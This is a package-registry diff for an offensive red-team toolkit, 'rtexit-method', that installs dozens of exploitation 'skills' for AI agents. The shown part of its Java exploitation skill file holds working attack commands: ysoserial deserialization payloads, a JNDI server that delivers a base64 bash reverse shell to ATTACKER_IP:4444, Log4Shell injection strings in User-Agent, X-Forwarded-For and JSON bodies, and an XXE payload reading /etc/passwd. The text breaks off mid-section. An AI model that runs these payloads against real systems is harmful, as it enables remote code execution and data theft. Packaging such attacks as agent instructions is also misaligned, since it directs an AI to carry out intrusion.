rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1009 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-java
|
|
3
|
+
description: "Java application exploitation skill. Covers Java deserialization with ysoserial gadget chains (CommonsCollections, Spring, Hibernate), Log4Shell (CVE-2021-44228) exploitation, Spring4Shell (CVE-2022-22965), Spring Boot Actuator exposure, XXE injection in XML parsers, and JNDI injection techniques. Targets Spring Boot, Apache Struts, JBoss, WebLogic, Jenkins."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-java
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Java applications represent a uniquely high-value attack surface on most enterprise engagements. Legacy frameworks (Struts, JBoss, WebLogic), modern Spring Boot deployments, and CI/CD infrastructure (Jenkins) all share a common thread: **serialized object handling, JNDI lookups, and XML parsing are endemic to the Java ecosystem and chronically misconfigured**.
|
|
11
|
+
|
|
12
|
+
This skill covers:
|
|
13
|
+
|
|
14
|
+
- **Java Deserialization RCE** via ysoserial gadget chains (CommonsCollections 1–7, Spring1, Hibernate1, JRMPClient, etc.)
|
|
15
|
+
- **Log4Shell (CVE-2021-44228)** — JNDI injection via Log4j 2.x logging, including WAF bypass obfuscation
|
|
16
|
+
- **Spring4Shell (CVE-2022-22965)** — ClassLoader manipulation via Spring MVC parameter binding
|
|
17
|
+
- **Spring Boot Actuator exposure** — unauthenticated management endpoints leaking secrets, enabling code execution via `/actuator/env` + `/actuator/restart`
|
|
18
|
+
- **XXE injection** — XML External Entity attacks targeting Java XML parsers (SAX, DOM, StAX)
|
|
19
|
+
- **JNDI injection techniques** — beyond Log4Shell: RMI, LDAP, DNS exfiltration, bypass vectors
|
|
20
|
+
|
|
21
|
+
**When to use this skill:**
|
|
22
|
+
|
|
23
|
+
- Target runs Java (confirmed via `X-Powered-By`, Nmap service fingerprint, WhatWeb, favicon hash)
|
|
24
|
+
- Engagement scope includes web applications on JBoss, WebLogic, GlassFish, Tomcat, Spring Boot
|
|
25
|
+
- Jenkins, Nexus, or other Java-based CI/CD infrastructure is in scope
|
|
26
|
+
- Deserialization endpoints are identified (Java serialization magic bytes `AC ED 00 05` in request/response)
|
|
27
|
+
- Log4j version is unknown or unpatched (pre-2.17.1)
|
|
28
|
+
|
|
29
|
+
**Output discipline:** All tool output MUST be saved to `_rtexit-output/exploit/java/` in structured subdirectories. Raw PoC payloads, JNDI server logs, and callback confirmations must be documented before escalating.
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## Prerequisites and Setup
|
|
34
|
+
|
|
35
|
+
### Required Tools
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
# ysoserial — Java deserialization payload generator
|
|
39
|
+
# Download the all-in-one JAR
|
|
40
|
+
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar \
|
|
41
|
+
-O /opt/tools/ysoserial-all.jar
|
|
42
|
+
|
|
43
|
+
# Verify Java version compatibility (ysoserial works best on Java 8/11)
|
|
44
|
+
java -version
|
|
45
|
+
|
|
46
|
+
# JNDI-Exploit-Kit — comprehensive JNDI injection server (replaces marshalsec)
|
|
47
|
+
git clone https://github.com/pimps/JNDI-Exploit-Kit /opt/tools/JNDI-Exploit-Kit
|
|
48
|
+
cd /opt/tools/JNDI-Exploit-Kit && mvn package -DskipTests -q
|
|
49
|
+
|
|
50
|
+
# marshalsec — legacy JNDI server (LDAP/RMI redirect)
|
|
51
|
+
git clone https://github.com/mbechler/marshalsec /opt/tools/marshalsec
|
|
52
|
+
cd /opt/tools/marshalsec && mvn package -DskipTests -q
|
|
53
|
+
|
|
54
|
+
# log4j-scan — automated Log4Shell scanner
|
|
55
|
+
git clone https://github.com/fullhunt/log4j-scan /opt/tools/log4j-scan
|
|
56
|
+
pip3 install -r /opt/tools/log4j-scan/requirements.txt
|
|
57
|
+
|
|
58
|
+
# Spring4Shell-POC
|
|
59
|
+
git clone https://github.com/reznok/Spring4Shell-POC /opt/tools/Spring4Shell-POC
|
|
60
|
+
|
|
61
|
+
# nuclei for template-based scanning
|
|
62
|
+
nuclei -update-templates
|
|
63
|
+
|
|
64
|
+
# interactsh-client for OOB callback detection (by ProjectDiscovery)
|
|
65
|
+
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
|
66
|
+
|
|
67
|
+
# httpx for quick HTTP probing
|
|
68
|
+
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
|
69
|
+
|
|
70
|
+
# Python 3 + requests for custom HTTP exploitation
|
|
71
|
+
pip3 install requests
|
|
72
|
+
|
|
73
|
+
# tcpdump / Wireshark for callback verification
|
|
74
|
+
which tcpdump || apt-get install -y tcpdump
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### Environment Setup
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
# Set your attacker-controlled infrastructure
|
|
81
|
+
export ATTACKER_IP="10.10.14.5" # Your C2 / listener IP (must be reachable by target)
|
|
82
|
+
export ATTACKER_LDAP_PORT="1389" # JNDI LDAP server port
|
|
83
|
+
export ATTACKER_RMI_PORT="1099" # JNDI RMI server port
|
|
84
|
+
export ATTACKER_HTTP_PORT="8888" # HTTP server port (serves exploit class files)
|
|
85
|
+
export CALLBACK_DOMAIN="yourburp.oastify.com" # OOB callback domain (Burp Collaborator / interactsh)
|
|
86
|
+
|
|
87
|
+
# Create output structure
|
|
88
|
+
mkdir -p _rtexit-output/exploit/java/{deserialization,log4shell,spring4shell,actuator,xxe,jndi,payloads,loot}
|
|
89
|
+
|
|
90
|
+
# Start interactsh listener for OOB detection
|
|
91
|
+
interactsh-client -v -o _rtexit-output/exploit/java/oob-callbacks.txt &
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### Target Fingerprinting Checklist
|
|
95
|
+
|
|
96
|
+
Before exploitation, confirm Java stack:
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
# Nmap service/version on common Java ports
|
|
100
|
+
nmap -sV -p 8080,8443,8888,4848,7001,7002,9200,9300,50000 \
|
|
101
|
+
-oA _rtexit-output/exploit/java/nmap-java-ports <TARGET>
|
|
102
|
+
|
|
103
|
+
# Check HTTP headers for Java framework indicators
|
|
104
|
+
curl -sk -I https://<TARGET>/ | grep -iE "x-powered-by|server|x-application"
|
|
105
|
+
|
|
106
|
+
# Favicon hash check (identifies Tomcat, Jenkins, WebLogic)
|
|
107
|
+
# Tomcat favicon hash: 116323821
|
|
108
|
+
# Jenkins favicon hash: 831909822
|
|
109
|
+
# WebLogic favicon hash: -1154529108
|
|
110
|
+
curl -sk https://<TARGET>/favicon.ico | md5sum
|
|
111
|
+
|
|
112
|
+
# WhatWeb aggressive scan
|
|
113
|
+
whatweb http://<TARGET> -a 3 \
|
|
114
|
+
--log-json=_rtexit-output/exploit/java/whatweb.json
|
|
115
|
+
|
|
116
|
+
# Check for Java serialization magic bytes in responses (AC ED 00 05 in hex)
|
|
117
|
+
curl -sk http://<TARGET>/endpoint | xxd | head -5
|
|
118
|
+
|
|
119
|
+
# nuclei Java-specific templates
|
|
120
|
+
nuclei -u http://<TARGET> \
|
|
121
|
+
-t cves/2021/CVE-2021-44228.yaml \
|
|
122
|
+
-t cves/2022/CVE-2022-22965.yaml \
|
|
123
|
+
-t exposures/configs/spring-actuator.yaml \
|
|
124
|
+
-t technologies/java-detect.yaml \
|
|
125
|
+
-o _rtexit-output/exploit/java/nuclei-java.txt
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## Skill Levels
|
|
131
|
+
|
|
132
|
+
### BEGINNER
|
|
133
|
+
|
|
134
|
+
Suitable for: Lab environments, CTFs, learning gadget chain basics, supervised engagements.
|
|
135
|
+
|
|
136
|
+
**Goal:** Understand the toolchain, generate basic payloads, confirm OOB callbacks.
|
|
137
|
+
|
|
138
|
+
```bash
|
|
139
|
+
# List all available ysoserial gadget chains
|
|
140
|
+
java -jar /opt/tools/ysoserial-all.jar 2>&1 | head -50
|
|
141
|
+
|
|
142
|
+
# Generate a basic CommonsCollections1 payload (requires Commons Collections 3.1 on target classpath)
|
|
143
|
+
# Payload: execute 'id' command (for testing — replace with actual command)
|
|
144
|
+
java -jar /opt/tools/ysoserial-all.jar CommonsCollections1 'id' | xxd | head -5
|
|
145
|
+
|
|
146
|
+
# Test for Log4Shell with a DNS callback (no exploitation, detection only)
|
|
147
|
+
# Replace with your interactsh/Burp Collaborator domain
|
|
148
|
+
curl -sk "http://<TARGET>/api/login" \
|
|
149
|
+
-H 'X-Api-Version: ${jndi:dns://${CALLBACK_DOMAIN}/log4shell-test}' \
|
|
150
|
+
-d 'username=test&password=test'
|
|
151
|
+
|
|
152
|
+
# Check if target has Spring Boot Actuator exposed (no auth required)
|
|
153
|
+
curl -sk http://<TARGET>/actuator | python3 -m json.tool
|
|
154
|
+
curl -sk http://<TARGET>/actuator/env | python3 -m json.tool
|
|
155
|
+
curl -sk http://<TARGET>/actuator/health
|
|
156
|
+
curl -sk http://<TARGET>/actuator/mappings
|
|
157
|
+
curl -sk http://<TARGET>/actuator/beans
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
### INTERMEDIATE
|
|
163
|
+
|
|
164
|
+
Suitable for: Professional penetration tests with confirmed Java targets.
|
|
165
|
+
|
|
166
|
+
**Goal:** Weaponize Log4Shell for RCE, enumerate Actuator exposure, exploit XXE.
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# --- Log4Shell (CVE-2021-44228) ---
|
|
170
|
+
|
|
171
|
+
# Start JNDI-Exploit-Kit LDAP server that serves a reverse shell payload
|
|
172
|
+
cd /opt/tools/JNDI-Exploit-Kit
|
|
173
|
+
java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \
|
|
174
|
+
-L ${ATTACKER_IP}:${ATTACKER_LDAP_PORT} \
|
|
175
|
+
-P ${ATTACKER_HTTP_PORT} \
|
|
176
|
+
-C "bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|bash"
|
|
177
|
+
# Note: generate BASE64_REVERSE_SHELL with:
|
|
178
|
+
# echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0
|
|
179
|
+
|
|
180
|
+
# Start netcat listener before triggering payload
|
|
181
|
+
nc -lvnp 4444 | tee _rtexit-output/exploit/java/log4shell/shell-session.txt
|
|
182
|
+
|
|
183
|
+
# Trigger Log4Shell via common injection points
|
|
184
|
+
# User-Agent header
|
|
185
|
+
curl -sk "http://<TARGET>/index" \
|
|
186
|
+
-A '${jndi:ldap://${ATTACKER_IP}:${ATTACKER_LDAP_PORT}/exploit}' \
|
|
187
|
+
-o /dev/null
|
|
188
|
+
|
|
189
|
+
# X-Forwarded-For header
|
|
190
|
+
curl -sk "http://<TARGET>/api/v1/users" \
|
|
191
|
+
-H "X-Forwarded-For: \${jndi:ldap://${ATTACKER_IP}:${ATTACKER_LDAP_PORT}/exploit}"
|
|
192
|
+
|
|
193
|
+
# POST body parameter
|
|
194
|
+
curl -sk -X POST "http://<TARGET>/api/login" \
|
|
195
|
+
-H "Content-Type: application/json" \
|
|
196
|
+
-d "{\"username\":\"\${jndi:ldap://${ATTACKER_IP}:${ATTACKER_LDAP_PORT}/exploit}\",\"password\":\"test\"}"
|
|
197
|
+
|
|
198
|
+
# --- Automated Log4Shell scan ---
|
|
199
|
+
python3 /opt/tools/log4j-scan/log4j-scan.py \
|
|
200
|
+
-u "http://<TARGET>" \
|
|
201
|
+
--run-all-tests \
|
|
202
|
+
--custom-dns-callback-host ${CALLBACK_DOMAIN} \
|
|
203
|
+
2>&1 | tee _rtexit-output/exploit/java/log4shell/scan-results.txt
|
|
204
|
+
|
|
205
|
+
# --- XXE Injection ---
|
|
206
|
+
|
|
207
|
+
# Basic XXE payload to read /etc/passwd via file:// protocol
|
|
208
|
+
cat > /tmp/xxe-basic.xml << 'EOF'
|
|
209
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
210
|
+
<!DOCTYPE foo [
|
|
211
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
212
|
+
]>
|
|
213
|
+
<root><data>&xxe;</data></root>
|
|
214
|
+
EOF
|
|
215
|
+
|
|
216
|
+
curl -sk -X POST "http://<TARGET>/api/upload" \
|
|
217
|
+
-H "Content-Type: application/xml" \
|
|
218
|
+
-d @/tmp/xxe-basic.xml \
|
|
219
|
+
| tee _rtexit-output/exploit/java/xxe/xxe-passwd.txt
|
|
220
|
+
|
|
221
|
+
# OOB XXE (for blind injection — no response reflection)
|
|
222
|
+
